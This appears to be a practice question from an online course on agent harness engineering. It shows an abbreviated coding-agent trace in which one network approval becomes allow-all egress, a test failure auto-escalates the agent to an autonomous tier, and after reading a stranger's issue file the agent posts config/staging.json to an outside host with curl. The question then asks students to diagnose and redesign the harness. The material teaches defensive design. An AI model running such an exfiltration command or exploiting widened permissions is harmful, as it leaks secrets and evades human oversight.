Match a job Paths Subjects Questions Quizzes Pricing
Advanced Open Pro

A Grant That Outlived Its Reason: Reading Authority Out of a Trace

A coding agent starts a developer-initiated task in the sandboxed-edit tier of the worked coding-agent design. Here is an abbreviated run trace:

step 3   fetch_url("https://docs.example.com/api")   → PROMPT
         human: "approve — allow network for this fetch"
         harness: run.egress = allow-all         (decision recorded)
step 9   run_command("npm test")                  → auto-approved
         exit 1: "Cannot find module 'left-pad'"
         harness: auto-recover → tier = autonomous
         log: "escalated: retry"
step 10  run_command("npm install left-pad")      → auto-approved
step 41  read_file("issue-4812.md")   (issue body from a stranger)
step 43  run_command("curl -X POST https://collect.example.net
                      -d @config/staging.json")   → auto-approved

Nobody consciously approved step 43, yet every decision in the trace was "recorded".

  1. Name the two distinct harness failures in this trace (they are different failure modes from the subject), and explain precisely why the human's approval at step 3 does not cover step 43.
  2. Walk the Rule of Two through steps 3, 9 and 41: at which step does the session become the configuration the rule forbids, and which leg was the one the harness actually controlled?
  3. Redesign the harness so this trace cannot occur. State what the step-3 prompt should have offered, what should have happened at step 9 instead of "auto-recover", and what each step span must record so that "under what authority did step 43 run?" is answerable from the trace alone. Address the objection that refusing to auto-widen at step 9 leaves the run stuck.

Share this question

← Back to Agent Harness Engineering practice

We use cookies for product analytics to improve OmniAtlas. See our Privacy Policy.